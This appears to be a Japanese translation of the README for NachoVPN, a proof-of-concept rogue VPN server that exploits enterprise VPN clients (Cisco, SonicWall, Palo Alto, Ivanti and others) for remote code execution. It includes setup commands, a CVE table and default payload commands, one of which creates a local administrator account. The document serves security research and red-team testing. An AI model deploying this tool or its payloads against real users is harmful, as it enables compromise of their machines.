
おいしいが、悪意のあるSSL-VPNサーバー 🌮
NachoVPN は、不正な VPN サーバーを使用して SSL-VPN クライアントを悪用することを実証する Proof of Concept です。
プラグイン方式のアーキテクチャを採用しており、コミュニティが追加の SSL-VPN 製品への対応を貢献できるようになっています。現在、Cisco AnyConnect、SonicWall NetExtender、Palo Alto GlobalProtect、Ivanti Connect Secure など、さまざまな人気の企業向け VPN 製品をサポートしています。
詳細については、ブログ記事 と HackFest Hollywood 2024 のプレゼンテーション [スライド|ビデオ] を参照してください。
NachoVPN は Ubuntu 22.04 でビルドおよびテストされています。
python3-nftables と nftables をインストールします。
必要に応じて setcap を使用して sudo の要求を回避します:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
IP 転送を有効にします:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN は pip を使用して GitHub からインストールできます。これには git がインストールされている必要があることに注意してください。
まず、仮想環境を作成します。
Linux では、nftables が動作するように、仮想環境がシステムの site-packages にアクセスできることを確認してください:
python3 -m venv env --system-site-packages
source env/bin/activate
Windows では、nftables(およびパケット転送)が無効になっているため、次を使用します:
python -m venv env
.\env\Scripts\activate
次に、NachoVPN をインストールします:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
Docker を使用したい場合は、GitHub Container Registry からコンテナをプルできます:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
まず、このリポジトリをクローンし、pip で setuptools と wheel をインストールします。その後、setup.py スクリプトを実行できます:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
これにより、dist ディレクトリに wheel ファイルが生成され、pip でインストールできるようになります:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
あるいは、ローカル開発では、次のコマンドを使用してパッケージを編集可能モードでインストールできます:
pip install -e .
次のコマンドでコンテナイメージをビルドできます:
docker build -t nachovpn:latest .
サーバーをスタンドアロンとして実行するには、次を使用します:
python -m nachovpn.server
または、Docker を使用してサーバーを実行できます:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
これにより、certbot を使用して SERVER_FQDN 用の証明書が生成され、コンテナにマウントした certs ディレクトリに保存されます。
あるいは、テスト目的であれば、SKIP_CERTBOT 環境変数を設定することで証明書の生成をスキップできます。
この場合、代わりに自己署名証明書が生成されます。
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
便利なように、サンプルの docker-compose ファイル も提供されています。
デバッグに役立つように、ログの詳細度を上げるには nachovpn を -d または --debug コマンドライン引数で実行できます。
あるいは、ログが多すぎる場合は、代わりに q または --quiet コマンドライン引数を使用できます。
NachoVPN は次のプラグインと機能をサポートしています:
/pulse URL にアクセスすることでトリガーできます。/sonicwall URL にアクセスすることでトリガーできます。これには、クライアントマシンに SonicWall Connect Agent がインストールされている必要があります。/delinea URL にアクセスすることでトリガーできます。NACAgent.exe ペイロードを自己署名証明書で署名します。テスト目的であれば、エクスプロイトをトリガーする前に /sonicwall/ca.crt からこの CA 証明書をダウンロードしてインストールできます。本番環境では、公開 CA から有効なコードサイニング証明書を取得し、NACAgent.exe ペイロードに署名して、payloads ディレクトリに配置する必要があります(docker を使用する場合は /app/payloads にボリュームマウントします)。NACAgent.exe ペイロードが生成され、payloads ディレクトリに書き込まれます。これは、現在のユーザーのデスクトップ上で SYSTEM として新しい cmd.exe プロセスを起動するだけです。msi_version.txt ファイルが downloads ディレクトリに存在する必要があります。手動で追加するか、msi_downloader.py スクリプトを実行してダウンロードしてください。プラグインを無効にするには、DISABLED_PLUGINS 環境変数に追加します。例:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN は環境変数を使用して設定されます。これにより、コンテナ化されたデプロイメントと簡単に互換性を持たせることができます。
グローバル環境変数:
プラグイン固有の環境変数:
次の緩和策を推奨します:
貢献を歓迎します! issue を開くか、Pull Request を提出してください。
新しいプラグインの開発に興味がある場合は、ExamplePlugin を参照して始めることができます。
NachoVPN は MIT ライセンスの下でライセンスされています。詳細については、LICENSE ファイルを参照してください。
| Plugin | 製品 | CVE | Windows RCE | macOS RCE | 特権 | URI ハンドラー | パケットキャプチャ | デモ |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (部分修正) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241(バイパス済み) | ✅ | ✅ | ✅ | ✅ (Windows のみ - 22.8R1 ではデフォルトで無効) | ✅ | Windows |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows |
| Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
GlobalProtect.msi.old と GlobalProtect64.msi.old が downloads フォルダに存在することを確認してください。これらのファイルには、6.2.6 より前 のバージョン(例:6.2.5)の 未変更 の MSI インストーラが含まれている必要があります。| Variable | 説明 | デフォルト |
|---|
SERVER_FQDN | サーバーの完全修飾ドメイン名。 | connect.nachovpn.local |
EXTERNAL_IP | サーバーの外部 IP アドレス。 | 127.0.0.1 |
WRITE_PCAP | キャプチャした PCAP ファイルをディスクに書き込むかどうか。 | false |
DISABLED_PLUGINS | 無効にするプラグインのカンマ区切りリスト。 | |
USE_DYNAMIC_SERVER_THUMBPRINT | サーバー証明書のフィンガープリントをサーバーから動的に計算するかどうか(プロキシの背後にいる場合に便利)。 | false |
SERVER_SHA1_THUMBPRINT | サーバー証明書の計算済み SHA1 フィンガープリントを上書きできます。 | |
SERVER_MD5_THUMBPRINT | サーバー証明書の計算済み MD5 フィンガープリントを上書きできます。 | |
SMB_ENABLED | トンネルを介して \\10.10.0.1\<SMB_SHARE_NAME> で利用可能な SMB 共有を有効にします。 | false |
SMB_SHARE_NAME | SMB 共有に使用する名前。 | SHARE |
SMB_SHARE_PATH | SMB 共有に使用するディレクトリのパス。 | smb |
TUNNEL_PRIVATE | true に設定すると、トンネリングは有効になりますが、VPN クライアントのインターネット転送は無効になります。クライアントは SMB 共有にのみアクセスできます。 | false |
TUNNEL_FULL | true に設定すると、フルトンネリングが有効になり、VPN クライアントがインターネットにアクセスできるようになります。また、TUNNEL_PRIVATE=true を暗黙的に含みます。 | false |
| Variable | 説明 | デフォルト |
|---|
VPN_NAME | Cisco AnyConnect でクライアントに表示される VPN プロファイルの名前。 | NachoVPN |
PULSE_LOGON_SCRIPT | Pulse Secure ログオンスクリプトのパス。 | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | macOS 用の Pulse Secure ログオンスクリプトのパス。 | |
PULSE_DNS_SUFFIX | Pulse Secure 接続に使用する DNS サフィックス。 | nachovpn.local |
PULSE_USERNAME | Pulse Secure ログオンダイアログに事前入力するユーザー名。 | |
PULSE_SAVE_CONNECTION | Pulse Secure 接続をユーザーのクライアントに保存するかどうか。 | false |
PULSE_ANONYMOUS_AUTH | Pulse Secure 接続に匿名認証を使用するかどうか。true に設定すると、ユーザー名またはパスワードの入力を求められません。 | false |
PULSE_HOST_CHECKER_RULES_FILE | ICS 用のレジストリベースのホストチェッカールールのリストを含む JSON ファイル。例は src/nachovpn/plugins/pulse/test/example_rules.json を参照してください。 | |
PALO_ALTO_MSI_ADD_FILE | Palo Alto インストーラ MSI に追加するファイルのパス。 | |
PALO_ALTO_MSI_COMMAND | Palo Alto インストーラ MSI によって実行されるコマンド。 | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | payloads ディレクトリに MSI インストーラがすでに存在する場合に、そのパッチ適用を強制するかどうか。 | false |
PALO_ALTO_PKG_COMMAND | macOS で Palo Alto インストーラ PKG によって実行されるコマンド。 | touch /tmp/pwnd |
CISCO_COMMAND_WIN | Windows で Cisco AnyConnect OnConnect.vbs スクリプトによって実行されるコマンド。 | calc.exe |
CISCO_COMMAND_MACOS | macOS で Cisco AnyConnect OnConnect.sh スクリプトによって実行されるコマンド。 | touch /tmp/pwnd |